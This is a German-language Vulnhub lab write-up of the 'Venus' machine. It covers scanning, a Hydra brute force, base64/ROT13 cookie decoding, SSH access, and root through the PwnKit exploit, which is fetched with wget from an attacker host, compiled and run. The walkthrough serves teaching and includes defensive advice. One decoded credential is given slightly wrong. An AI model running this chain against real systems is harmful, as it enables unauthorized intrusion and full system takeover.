Venus - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
gobuster
hydra
base64
echo
ROT13 Decoder (extern)
ssh
sudo
find
strings
ss
nc
ps
cat
grep
wget
unzip
make
chmod

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Standard-ARP-Scan wird durchgeführt, um die IP-Adresse des Ziels im lokalen Netzwerk zu finden.
Bewertung: Das Ziel wird unter `192.168.2.128` identifiziert. Die MAC-Adresse `08:00:27:18:54:5e` gehört zu einer Oracle VirtualBox VM.
Empfehlung (Offensiv): IP-Adresse für weitere Scans notieren.
Empfehlung (Defensiv): Netzwerk-Monitoring zur Erkennung von ARP-Scans implementieren.

┌──(root㉿cyber)-[~/HackingTools/CVE-2021-4034/polkit_exploit_neu]
└─# arp-scan -l
192.168.2.128	08:00:27:18:54:5e	PCS Systemtechnik GmbH

Analyse: Die IP-Adresse wird dem Hostnamen `venus.vuln` in der `/etc/hosts`-Datei des Angreifers zugeordnet.
Bewertung: Dies vereinfacht die nachfolgenden Befehle und die Analyse.
Empfehlung (Offensiv): Standardvorgehen zur Verbesserung der Lesbarkeit und Handhabung.
Empfehlung (Defensiv): Keine direkte Aktion auf dem Ziel erforderlich.

┌──(root㉿cyber)-[~/HackingTools/CVE-2021-4034/polkit_exploit_neu]
└─# vi /etc/hosts
 192.168.2.128	   venus.vuln

Analyse: Ein Nmap-Scan wird mit SYN-Scan (`-sS`), Standard-Skripten (`-sC`), aggressivem Timing (`-T5`), OS-Erkennung (`-AO`) und für alle Ports (`-p-`) durchgeführt.
Bewertung: Der Scan offenbart nur zwei offene Ports: 22 (SSH - OpenSSH 8.5) und 8080 (http-proxy - WSGIServer/0.2 CPython/3.9.5). Viele Ports sind als gefiltert markiert (no-response oder admin-prohibited), was auf eine Firewall hindeutet. OpenSSH 8.5 ist relativ aktuell. Der Dienst auf 8080 ist ein Python WSGI-Server, der typischerweise für Webanwendungen (z.B. mit Django oder Flask) verwendet wird.
Empfehlung (Offensiv): SSH (Port 22) für mögliche spätere Logins vormerken. Den Python-Webserver auf Port 8080 intensiv untersuchen.
Empfehlung (Defensiv): Firewall-Regeln überprüfen und sicherstellen, dass nur notwendige Ports offen sind. Software (SSH, Python-Anwendung) aktuell halten.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.128 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-07 00:14 CEST
Nmap scan report for venus.vuln (192.168.2.128)
Host is up (0.00020s latency).
Not shown: 65503 filtered tcp ports (no-response), 30 filtered tcp ports (admin-prohibited)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.5 (protocol 2.0)
| ssh-hostkey:
|   256 b03e1c684a31327753e31089d6297850 (ECDSA)
|_  256 fdb420d0d8da0267a4a548f346e2b90f (ED25519)
8080/tcp open  http-proxy WSGIServer/0.2 CPython/3.9.5
|_http-server-header: WSGIServer/0.2 CPython/3.9.5
| fingerprint-strings:
|   GET / HTTP/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.20 ms venus.vuln (192.168.2.128)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.82 seconds

Analyse: Die vorherige Nmap-Ausgabe wird mit `grep` gefiltert, um nur die offenen Ports anzuzeigen.
Bewertung: Bestätigt schnell die offenen Ports 22 (SSH) und 8080 (http-proxy/WSGIServer).
Empfehlung (Offensiv): Konzentration auf diese beiden Ports.
Empfehlung (Defensiv): Überprüfung der Notwendigkeit dieser Dienste.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.128 -p- | grep open
22/tcp   open  ssh        OpenSSH 8.5 (protocol 2.0)
8080/tcp open  http-proxy WSGIServer/0.2 CPython/3.9.5

Web Enumeration

Analyse: Gobuster wird für die Verzeichnissuche auf dem Webserver auf Port 8080 eingesetzt.
Bewertung: Der Scan findet nur das Verzeichnis `/admin`, das auf `/admin/` weiterleitet. Dies ist oft der Standardpfad für das Admin-Interface von Web-Frameworks wie Django.
Empfehlung (Offensiv): Das `/admin/`-Verzeichnis im Browser aufrufen und untersuchen.
Empfehlung (Defensiv): Den Zugriff auf Admin-Interfaces einschränken (z.B. IP-Whitelisting, starke Authentifizierung). Standardpfade wenn möglich ändern.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://venus.vuln:8080 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.5
[...]
===============================================================
[+] Url:                     http://venus.vuln:8080
[...]
===============================================================
2023/06/07 00:15:30 Starting gobuster in directory enumeration mode
===============================================================
http://venus.vuln:8080/admin                (Status: 301) [Size: 0] [--> /admin/]

===============================================================
2023/06/07 00:16:45 Finished
===============================================

Analyse: Manuelle Untersuchung der Webseiten auf Port 8080. Die Startseite (`/`) zeigt ein "Venus Monitoring Login" und gibt den Hinweis `Credentials guest:guest can be used to access the guest account.`. Das Verzeichnis `/admin/` zeigt eine Django-Administrationsseite. Ein Login-Versuch mit `admin:admin` führt zu einem Server Error (500).
Bewertung: Die Startseite liefert gültige Gast-Zugangsdaten. Die Django-Adminseite ist vorhanden, aber der `admin:admin`-Versuch scheitert oder verursacht einen Fehler. Der 500er-Fehler könnte auf eine Fehlkonfiguration oder eine spezifische Schwachstelle hindeuten, wahrscheinlicher sind aber einfach falsche Credentials.
Empfehlung (Offensiv): Mit `guest:guest` auf der Hauptseite einloggen und die Funktionalität untersuchen. Weitere Benutzernamen für die Hauptseite oder die Django-Adminseite versuchen zu erraten oder zu brute-forcen. Den 500er-Fehler genauer analysieren (falls Debug-Informationen angezeigt werden).
Empfehlung (Defensiv): Keine Standard- oder leicht erratbaren Credentials verwenden. Detaillierte Fehlermeldungen (Debug-Modus) in Produktionsumgebungen deaktivieren.

http://192.168.2.128:8080/

Venus Monitoring Login
Please login:
Credentials guest:guest can be used to access the guest account.

Username: [Input]
Password: [Input]
-----------------------------------------------------------------------------------
http://venus.vuln:8080/admin/login/?next=/admin/

Django administration
Username: admin
Password: admin

                         Server Error (500)
-----------------------------------------------------------------------------------

Analyse: Hydra wird verwendet, um Benutzernamen für die Haupt-Login-Seite (`/` auf Port 8080) zu brute-forcen. Es wird eine große Username-Liste verwendet (`xato-net...`), aber ein *festes* Passwort (`-p pass`). Der Erfolgsindikator ist das *Fehlen* der Fehlermeldung "Invalid username.".
Bewertung: Dieser Ansatz ist ungewöhnlich. Normalerweise brute-forced man Passwörter für bekannte User oder User/Pass-Kombinationen. Hier wird angenommen, dass es mehrere gültige User mit dem *gleichen*, einfachen Passwort "pass" gibt. Hydra findet drei Benutzernamen, die mit dem Passwort "pass" *keinen* "Invalid username"-Fehler auslösen: `venus`, `magellan`, `guest`. Dies bestätigt den `guest`-Account und findet zwei weitere potenzielle User (`venus`, `magellan`). Das Passwort "pass" ist wahrscheinlich falsch, aber die User sind valide.
Empfehlung (Offensiv): Die gefundenen Benutzernamen (`venus`, `magellan`, `guest`) notieren. Die Information `guest:guest` von der Webseite ist wahrscheinlich der korrekte Weg für den Gast-Login. Die anderen User (`venus`, `magellan`) als Ziele für weitere Passwort-Angriffe oder zur Informationsgewinnung (z.B. durch Cookie-Analyse nach dem Login) verwenden.
Empfehlung (Defensiv): Brute-Force-Angriffe durch Account-Lockouts, Captchas oder IP-basierte Ratenbegrenzung erschweren. Keine generischen Fehlermeldungen verwenden, die gültige von ungültigen Benutzernamen unterscheiden lassen (User Enumeration).

┌──(root㉿cyber)-[~]
└─# hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p pass -s 8080 192.168.2.128 http-post-form "/:username=^USER^&password=^PASS^:Invalid username."
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-07 00:30:11
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 8295455 login tries (l:8295455/p:1), ~518466 tries per task
[DATA] attacking http-post-form://192.168.2.128:8080/:username=^USER^&password=^PASS^:Invalid username.
[8080][http-post-form] host: 192.168.2.128   login: venus      password: pass
[8080][http-post-form] host: 192.168.2.128   login: magellan   password: pass
[8080][http-post-form] host: 192.168.2.128   login: guest      password: pass
[STATUS] 4397.00 tries/min, 4397 tries in 00:01h, 8291058 to do in 31:26h, 16 active tasks
[...]

Credential Discovery

Analyse: Der Text zeigt eine Analyse von Base64-kodierten Zeichenketten, die wahrscheinlich aus HTTP-Cookies oder anderen Web-Interaktionen stammen (der Ursprung wird nicht explizit gezeigt). Es wird eine Kette von Dekodierungen durchgeführt:
1. `Z3Vlc3Q6dGhyZmc=` -> base64 decode -> `guest:thrg` (scheint ein Tippfehler im Originaltext zu sein, `guest:guest` wäre logischer). 2. `dmVudXM6dGhyZmc=` -> base64 decode -> `venus:thrg` (wieder `thrg`?). 3. `bWFnZWxsYW46aXJhaGY=` -> base64 decode -> `magellan:irahf`. 4. Ein längerer Base64-String `bWFn...Tg4OQ==` -> base64 decode -> `magellan:irahfvnatrbybtl1989`. 5. Der String `irahfvnatrbybtl1989` wird als ROT13-verschlüsselt erkannt und dekodiert zu `venusiangeology1989`.
Bewertung: Dieser mehrstufige Prozess (Base64 -> ROT13) enthüllt das Passwort für den Benutzer `magellan` als `venusiangeology1989`. Die anderen dekodierten Strings (`guest:thrg`, `venus:thrg`) sind unklar oder fehlerhaft, aber der Fokus liegt auf `magellan`. Das Passwort `venusiangeology1989` ist spezifisch und erscheint plausibel.
Empfehlung (Offensiv): Das gefundene Passwort `venusiangeology1989` für den Benutzer `magellan` verwenden, um sich per SSH (Port 22) anzumelden.
Empfehlung (Defensiv): Keine sensiblen Daten (auch nicht verschleiert durch Base64 oder einfache Chiffren wie ROT13) in Cookies oder anderen leicht zugänglichen Web-Komponenten speichern. Starke Authentifizierungsmechanismen verwenden.

https://www.base64decode.org/
Z3Vlc3Q6dGhyZmc=
guest:thrg  

Cookie: auth="dmVudXM6dGhyZmc="
https://www.base64decode.org/
dmVudXM6dGhyZmc=
venus:thrg 

Cookie: auth="bWFnZWxsYW46aXJhaGY="
https://www.base64decode.org/
bWFnZWxsYW46aXJhaGY=
magellan:irahf 


https://www.base64decode.org/
bWFnZWxsYW46aXJhaGZ2bmF0cmJ5YnRsMTk4OQ==
magellan:irahfvnatrbybtl1989


https://www.dcode.fr/rot-cipher
irahfvnatrbybtl1989 = venusiangeology1989
-----------------------------------------------------------------------------------

Initial Access (SSH)

Analyse: Es wird versucht, sich per SSH als Benutzer `magellan` mit dem zuvor durch Base64/ROT13 entschlüsselten Passwort `venusiangeology1989` anzumelden.
Bewertung: Der Login ist erfolgreich! Der Pentester erhält eine Shell als Benutzer `magellan`. Dies stellt den erfolgreichen Initial Access dar.
Empfehlung (Offensiv): Das System nun als Benutzer `magellan` weiter enumerieren, insbesondere auf Möglichkeiten zur Privilegieneskalation.
Empfehlung (Defensiv): Starke, einzigartige Passwörter verwenden, die nicht durch einfache Chiffren oder Kodierungen verschleiert werden können. SSH-Zugriff überwachen.

┌──(root㉿cyber)-[~/HackingTools]
└─# ssh magellan@venus.vuln
magellan@venus.vuln's password: venusiangeology1989

Last failed login: Tue Jun  6 23:45:34 BST 2023 from 192.168.2.113 on ssh:notty
There were 2 failed login attempts since the last successful login.
[magellan@venus ~]$

Privilege Escalation (Enumeration)

Analyse: Der Befehl `sudo -l` wird ausgeführt, um die sudo-Rechte für `magellan` zu prüfen.
Bewertung: Nach Eingabe des Passworts (`venusiangeology1989`) wird die Meldung `Sorry, user magellan may not run sudo on venus.` angezeigt. Der Benutzer `magellan` hat keine `sudo`-Berechtigungen.
Empfehlung (Offensiv): Andere Vektoren für Privilegieneskalation suchen (SUID/GUID-Binaries, Kernel-Exploits, Fehlkonfigurationen, Cronjobs).
Empfehlung (Defensiv): Das Prinzip der geringsten Rechte anwenden. Nur Benutzern `sudo`-Rechte geben, die sie benötigen.

[magellan@venus ~]$ sudo -l
[sudo] password for magellan: venusiangeology1989
Sorry, user magellan may not run sudo on venus.

Analyse: Mit `find / -type f -perm -4000 -ls 2>/dev/null` wird nach SUID-Binaries gesucht.
Bewertung: Die Ausgabe listet mehrere SUID-Dateien auf. Die meisten sind Standard (`chage`, `gpasswd`, `mount`, `su`, `umount`, `passwd`, `at`, `sudo` etc.). Besonders hervorzuheben ist `/usr/bin/pkexec`. Dies ist das Binary, das von der PwnKit-Schwachstelle (CVE-2021-4034) betroffen ist. Auch `/usr/bin/sudo` ist vorhanden, aber die Berechtigungen (`---s--x--x`) sind ungewöhnlich und verhindern wahrscheinlich die direkte Ausführung durch `magellan`.
Empfehlung (Offensiv): Den Fokus auf `/usr/bin/pkexec` legen und die PwnKit (CVE-2021-4034) Schwachstelle ausnutzen. Dies ist der wahrscheinlichste Vektor für Root-Rechte.
Empfehlung (Defensiv): Das `polkit`-Paket, welches `pkexec` enthält, dringend auf eine gepatchte Version aktualisieren, um CVE-2021-4034 zu schließen. Unnötige SUID-Bits entfernen.

[magellan@venus ~]$ find / -type f -perm -4000 -ls 2>/dev/null
 13010209     76 -rwsr-xr-x   1 root     root        74232 Apr  7  2021 /usr/bin/chage
 13010210     80 -rwsr-xr-x   1 root     root        78568 Apr  7  2021 /usr/bin/gpasswd
 13010213     44 -rwsr-xr-x   1 root     root        42280 Apr  7  2021 /usr/bin/newgrp
 13248973     52 -rwsr-xr-x   1 root     root        49920 Feb 12  2021 /usr/bin/mount
 13310181     32 -rwsr-xr-x   1 root     root        32648 Jan 28  2021 /usr/bin/pkexec  <-- PwnKit Target!
 13248989     60 -rwsr-xr-x   1 root     root        58384 Feb 12  2021 /usr/bin/su
 13248992     40 -rwsr-xr-x   1 root     root        37560 Feb 12  2021 /usr/bin/umount
 13424960     56 -rwsr-xr-x   1 root     root        53744 Mar 29  2021 /usr/bin/crontab
 13674195    184 ---s--x--x   1 root     root       185504 Jan 26  2021 /usr/bin/sudo    <-- Unusual permissions
 13733530     32 -rwsr-xr-x   1 root     root        32712 Jan 30  2021 /usr/bin/passwd
 13733634     36 -rws--x--x   1 root     root        33488 Feb 12  2021 /usr/bin/chfn
 13733635     28 -rws--x--x   1 root     root        25264 Feb 12  2021 /usr/bin/chsh
 13733674     60 -rwsr-xr-x   1 root     root        57432 Jan 26  2021 /usr/bin/at
   363375     16 -rwsr-xr-x   1 root     root        15632 Apr 12  2021 /usr/sbin/grub2-set-bootflag
   363487     16 -rwsr-xr-x   1 root     root        16096 Apr 20  2021 /usr/sbin/pam_timestamp_check
   363489     24 -rwsr-xr-x   1 root     root        24552 Apr 20  2021 /usr/sbin/unix_chkpwd
   724271    116 -rwsr-xr-x   1 root     root       117480 Apr 10  2021 /usr/sbin/mount.nfs
 13310185     24 -rwsr-xr-x   1 root     root        24536 Jan 28  2021 /usr/lib/polkit-1/polkit-agent-helper-1
   609986     56 -rwsr-x---   1 root     cockpit-wsinstance    53528 May 16  2021 /usr/libexec/cockpit-session

Analyse: Die Berechtigungen und Strings von `/usr/bin/chage` werden überprüft.
Bewertung: Die Berechtigungen sind normal SUID-root. `strings` zeigt erwartete Zeichenketten für ein Passwort-/Account-Management-Tool. Es findet sich keine offensichtliche Schwachstelle oder ein hartkodiertes Passwort. Das eigene Passwort (`venusiangeology1989`) taucht in der Ausgabe auf, was aber daran liegen könnte, dass es im Speicher des `strings`-Prozesses selbst vorhanden ist (z.B. aus der Umgebung oder vorherigen Befehlen) - es ist kein Hinweis auf eine Schwachstelle in `chage`.
Empfehlung (Offensiv): `chage` ist wahrscheinlich keine einfache PE-Möglichkeit. Fokus weiter auf `pkexec`.
Empfehlung (Defensiv): Standard-SUID-Programme im Auge behalten, aber keine unmittelbare Aktion basierend hierauf nötig.

[magellan@venus ~]$ ls -la /usr/bin/chage
-rwsr-xr-x. 1 root root 74232 Apr  7  2021 /usr/bin/chage
[magellan@venus ~]$ strings /usr/bin/chage | grep pass
changed password expiry for %s
passwd
Last password change					:
password must be changed
change-passwd-warning
change-passwd-expiration
/etc/passwd

Analyse: Mit `ss -atlpn` werden die lauschenden Netzwerk-Sockets aufgelistet.
Bewertung: Es werden die bekannten Ports 22 (SSH) und 8080 (Python WSGIServer) sowie lokale Dienste auf 53 (DNS) und 5355 (mDNS) bestätigt. Neu ist der Port 9080, der ebenfalls lauscht.
Empfehlung (Offensiv): Den Dienst auf Port 9080 untersuchen (`nc`, Prozessanalyse).
Empfehlung (Defensiv): Überprüfen, welcher Dienst auf 9080 läuft und ob er benötigt wird. Ggf. schließen.

[magellan@venus ~]$ ss -atlpn
State  Recv-Q Send-Q Local Address:Port   Peer Address:Port Process
LISTEN 0      4096         0.0.0.0:5355        0.0.0.0:*
LISTEN 0      10           0.0.0.0:8080        0.0.0.0:*     users:(("python3",pid=831,fd=5))
LISTEN 0      4096   127.0.0.53%lo:53          0.0.0.0:*
LISTEN 0      128          0.0.0.0:22          0.0.0.0:*
LISTEN 0      3            0.0.0.0:9080        0.0.0.0:*
LISTEN 0      4096            [::]:5355           [::]:*
LISTEN 0      128             [::]:22             [::]:*

Analyse: Eine Verbindung zu `localhost:9080` wird mit `nc` hergestellt. Der Dienst meldet sich als "Venus messaging service" und verlangt ein Passwort. Das Passwort des aktuellen Benutzers (`venusiangeology1989`) wird eingegeben, aber als falsch zurückgewiesen.
Bewertung: Ein lokaler Dienst läuft auf Port 9080, der passwortgeschützt ist. Das Benutzerpasswort funktioniert nicht.
Empfehlung (Offensiv): Den Prozess hinter Port 9080 identifizieren (`ps aux`, `lsof -i :9080`) und das Binary analysieren (z.B. mit `strings`).
Empfehlung (Defensiv): Lokale Dienste sollten sicher konfiguriert und wenn möglich nicht über Netzwerk-Sockets, sondern über Unix-Sockets o.ä. angesprochen werden.

[magellan@venus ~]$ nc localhost 9080
Welcome to the Venus messaging service.
To continue, please enter your password:venusiangeology1989
Incorrect password, closing connection.
ls
^C

Analyse: Mit `ps aux | grep messaging` wird nach dem Prozess gesucht, der auf Port 9080 lauscht. Das Binary `/usr/bin/venus_messaging` wird gefunden und mit `strings` untersucht.
Bewertung: Der Prozess läuft als `root`. `strings` findet diverse Bibliotheksfunktionen und eine auffällige Zeichenkette zwischen Tilden: `loveandbeauty`. Dies ist höchstwahrscheinlich das gesuchte Passwort für den Messaging-Dienst.
Empfehlung (Offensiv): Das Passwort `loveandbeauty` verwenden, um sich beim Dienst auf Port 9080 anzumelden und dessen Funktionalität weiter zu untersuchen (mögliche Command Injection, Buffer Overflow).
Empfehlung (Defensiv): Niemals Passwörter hartkodiert in Binaries speichern! Authentifizierung über sicherere Mechanismen implementieren. Den Dienst nicht als `root` laufen lassen, wenn nicht absolut notwendig (Least Privilege).

[magellan@venus ~]$ ps aux | grep messaging
root         756  0.0  0.0   2384   744 ?        Ss   23:12   0:00 /usr/bin/venus_messaging
magellan   37852  0.0  0.0   6140   836 pts/0    S+   23:55   0:00 grep --color=auto messaging
[magellan@venus ~]$ strings /usr/bin/venus_messaging
/lib64/ld-linux-x86-64.so.2
socket
exit
htons
perror
inet_ntoa
puts
listen
printf
send
strcspn
bind
recv
setsockopt
getpeername
close
accept
strcmp
__libc_start_main
libc.so.6
GLIBC_2.2.5
__gmon_start__
[]A\A]A^A_
~~~~~~~~~~~~~~~~~~~~
loveandbeauty
~~~~~~~~~~~~~~~~~~~~
[...]

Analyse: Erneute Verbindung zu `localhost:9080`. Diesmal wird das gefundene Passwort `loveandbeauty` eingegeben. Der Zugriff wird gewährt. Es werden verschiedene Eingaben gesendet (`id`, `;id`, viele 'A's), um Schwachstellen zu testen.
Bewertung: Der Dienst akzeptiert das Passwort. Einfache Command Injection (`;id`) scheint nicht zu funktionieren. Ein Versuch, einen Buffer Overflow durch viele 'A's auszulösen, führt zum Verbindungsabbruch ("Ncat: Connection reset by peer"), was auf einen Crash hindeutet, aber nicht direkt zu einer Shell führt. Dieser Dienst scheint entweder keine einfache Schwachstelle zu haben oder erfordert einen komplexeren Exploit.
Empfehlung (Offensiv): Da `pkexec` als klarer Vektor identifiziert wurde, ist es effizienter, diesen zu verfolgen, anstatt Zeit in die aufwändige Analyse/Exploitation dieses Messaging-Dienstes zu investieren (es sei denn, PwnKit würde fehlschlagen).
Empfehlung (Defensiv): Den Messaging-Dienst auf Buffer Overflows und Command Injection prüfen und beheben. Sichere Programmierpraktiken anwenden. Den Dienst nicht als Root laufen lassen.

[magellan@venus ~]$ nc localhost 9080
Welcome to the Venus messaging service.
To continue, please enter your password:loveandbeauty
Access granted, you can now send messages to the Venus space station.
Please enter message to be processed:
id
Message sent to the Venus space station.
Enter message:
;id
Message sent to the Venus space station.
Enter message:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Message sent to the Venus space station.
Enter message:
Ncat: Connection reset by peer.

Analyse: Der Status von ASLR (Address Space Layout Randomization) wird überprüft.
Bewertung: Der Wert `0` bedeutet, dass ASLR deaktiviert ist. Dies würde Exploits, die auf festen Speicheradressen basieren (wie viele Buffer Overflows), erheblich erleichtern.
Empfehlung (Offensiv): Zur Kenntnis nehmen. Erleichtert potenzielle Buffer Overflow Exploits, falls diese verfolgt würden. Macht den PwnKit-Exploit möglicherweise zuverlässiger.
Empfehlung (Defensiv): ASLR sollte auf modernen Systemen immer aktiviert sein (Standardwert ist normalerweise `2`), um Exploits zu erschweren. Überprüfen, warum es deaktiviert ist, und aktivieren (`echo 2 > /proc/sys/kernel/randomize_va_space` bzw. persistent über sysctl).

[magellan@venus ~]$ cat /proc/sys/kernel/randomize_va_space
0

Privilege Escalation (PwnKit Exploit)

Analyse: Ein Exploit für die PwnKit-Schwachstelle (CVE-2021-4034) wird von GitHub heruntergeladen (implizit wird ein Webserver auf dem Angreifer-System angenommen, von dem `wget` die Datei holt), entpackt, kompiliert und ausgeführt.
Bewertung:

Der Exploit ist erfolgreich, was durch den Prompt `sh-5.1#` und die Ausgabe von `id` (`uid=0(root) gid=0(root)`) bestätigt wird. Der Benutzer `magellan` hat erfolgreich Root-Rechte erlangt.
Empfehlung (Offensiv): Die erlangte Root-Shell nutzen, um die finalen Ziele (Flags, Persistenz etc.) zu erreichen.
Empfehlung (Defensiv): Das `polkit`-Paket dringend auf eine Version patchen, die CVE-2021-4034 behebt. Systeme regelmäßig aktualisieren.

[magellan@venus tmp]$ wget 192.168.2.113:8000/CVE-2021-4034-main.zip
--2023-06-07 00:39:16--  http://192.168.2.113:8000/CVE-2021-4034-main.zip
Connecting to 192.168.2.113:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6457 (6.3K) [application/zip]
Saving to: ‘CVE-2021-4034-main.zip’

CVE-2021-4034-main.zip  100%[=============================>]   6.31K  --.-KB/s    in 0s

2023-06-07 00:39:16 (991 MB/s) - ‘CVE-2021-4034-main.zip’ saved [6457/6457]
[magellan@venus tmp]$ unzip CVE-2021-4034-main.zip
Archive:  CVE-2021-4034-main.zip
55d60e381ef90463ed35f47af44bf7e2fbc150d4
   creating: CVE-2021-4034-main/
  inflating: CVE-2021-4034-main/.gitignore
  inflating: CVE-2021-4034-main/LICENSE
  inflating: CVE-2021-4034-main/Makefile
  inflating: CVE-2021-4034-main/README.md
  inflating: CVE-2021-4034-main/cve-2021-4034.c
  inflating: CVE-2021-4034-main/cve-2021-4034.sh
   creating: CVE-2021-4034-main/dry-run/
  inflating: CVE-2021-4034-main/dry-run/Makefile
  inflating: CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c
  inflating: CVE-2021-4034-main/dry-run/pwnkit-dry-run.c
  inflating: CVE-2021-4034-main/pwnkit.c
[magellan@venus tmp]$ cd CVE-2021-4034-main
[magellan@venus CVE-2021-4034-main]$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
[magellan@venus CVE-2021-4034-main]$ chmod +x cve-2021-4034
[magellan@venus CVE-2021-4034-main]$ ./cve-2021-4034
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root),1001(magellan) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-5.1#

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Proof of Concept (PwnKit - CVE-2021-4034)

Schwachstelle: CVE-2021-4034 (PwnKit) ist eine Local Privilege Escalation (LPE)-Schwachstelle im Polkit-Dienstprogramm `pkexec`, das auf vielen Linux-Distributionen standardmäßig installiert und SUID-root ist. Die Schwachstelle entsteht durch unsichere Handhabung von Kommandozeilenargumenten (`argc`), was zu einem Out-of-Bounds-Write führt und es einem lokalen Angreifer ermöglicht, Umgebungsvariablen so zu manipulieren, dass `pkexec` eine beliebige Bibliothek lädt und Code als Root ausführt.
Ziel des POC: Nachweis, dass ein unprivilegierter lokaler Benutzer (hier `magellan`) durch Ausnutzen von CVE-2021-4034 Root-Rechte auf dem System erlangen kann.
Voraussetzungen: Lokaler Zugriff auf das System als unprivilegierter Benutzer. Eine verwundbare Version von `pkexec` muss installiert und SUID-root sein. Ein funktionierender Exploit-Code für CVE-2021-4034.

Schritt 1: Identifizierung der verwundbaren Komponente

Analyse: Die `find`-Suche nach SUID-Dateien (siehe PE-Enumeration) identifizierte `/usr/bin/pkexec` als SUID-root-Programm. Die Version des zugrundeliegenden Systems (ermittelt durch Nmap und die Existenz der Schwachstelle) deutet auf eine verwundbare Polkit-Version hin.

Schritt 2: Beschaffung und Vorbereitung des Exploits

Analyse: Ein bekannter Exploit-Code für CVE-2021-4034 wird von einer externen Quelle (hier per `wget` von einem lokalen Webserver des Angreifers) auf das Zielsystem übertragen, entpackt und mittels `make` kompiliert. Die resultierende ausführbare Datei (`cve-2021-4034`) wird ausführbar gemacht.
Bewertung: Dies sind die typischen Schritte, um einen C-basierten Exploit auf dem Zielsystem einsatzbereit zu machen.

Schritt 3: Ausführung des Exploits

Analyse: Die kompilierte Exploit-Datei `./cve-2021-4034` wird ausgeführt.
Bewertung: Der Exploit nutzt die Schwachstelle in `pkexec`, um die Berechtigungen zu eskalieren. Anstatt `pkexec` normal auszuführen, wird es dazu gebracht, eine schädliche Bibliothek zu laden (oft über manipulierte `GCONV_PATH`-Umgebungsvariable und eine gefälschte `gconv-modules`-Datei, wie im `Makefile` des Exploits sichtbar), die dann eine Root-Shell startet.
Ergebnis des POC: Die Ausführung des Exploits resultiert unmittelbar in einer Shell mit Root-Privilegien (`uid=0(root)`), was die erfolgreiche Ausnutzung der Schwachstelle beweist.
Risikobewertung: Kritisch. Ermöglicht jedem lokalen Benutzer die vollständige Übernahme des Systems.
Empfehlung (Defensiv): Das `polkit`-Paket umgehend auf eine Version aktualisieren, die CVE-2021-4034 behebt (Version 0.105-31.el7_9.1 für RHEL/CentOS 7 Derivate, entsprechende Versionen für andere Distributionen). Als Workaround kann das SUID-Bit von `pkexec` entfernt werden (`chmod 0755 /usr/bin/pkexec`), was jedoch die legitime Funktion von Polkit einschränkt.

Flags

Analyse: Nach Erlangung der Root-Rechte mittels PwnKit wird das Root-Home-Verzeichnis (`/root`) untersucht und die Datei `root_flag.txt` ausgelesen. Anschließend wird die User-Flag im Home-Verzeichnis von `magellan` gesucht und gelesen.
Bewertung: Beide Flags werden erfolgreich gefunden und angezeigt.

sh-5.1# cat /home/magellan/user_flag.txt
[user_flag_e799a60032068b27b8ff212b57c200b0]
sh-5.1# cd /root
sh-5.1# ls
anaconda-ks.cfg  root_flag.txt
sh-5.1# cat root_flag.txt
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@/##////////@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@(((/(*(/((((((////////&@@@@@@@@@@@@@
@@@@@@@@@@@((#(#(###((##//(((/(/(((*((//@@@@@@@@@@
@@@@@@@@/#(((#((((((/(/,*/(((///////(/*/*/#@@@@@@@
@@@@@@*((####((///*//(///*(/*//((/(((//**/((&@@@@@
@@@@@/(/(((##/*((//(#(////(((((/(///(((((///(*@@@@
@@@@/(//((((#(((((*///*/(/(/(((/((////(/*/*(///@@@
@@@//**/(/(#(#(##((/(((((/(**//////////((//((*/#@@
@@@(//(/((((((#((((#*/((///((///((//////(/(/(*(/@@
@@@((//((((/((((#(/(/((/(/(((((#((((((/(/((/////@@
@@@(((/(((/##((#((/*///((/((/((##((/(/(/((((((/*@@
@@@(((/(##/#(((##((/((((((/(##(/##(#((/((((#((*%@@
@@@@(///(#(((((#(#(((((#(//((#((###((/(((((/(//@@@
@@@@@(/*/(##(/(###(((#((((/((####/((((///((((/@@@@
@@@@@@%//((((#############((((/((/(/(*/(((((@@@@@@
@@@@@@@@%#(((############(##((#((*//(/(*//@@@@@@@@
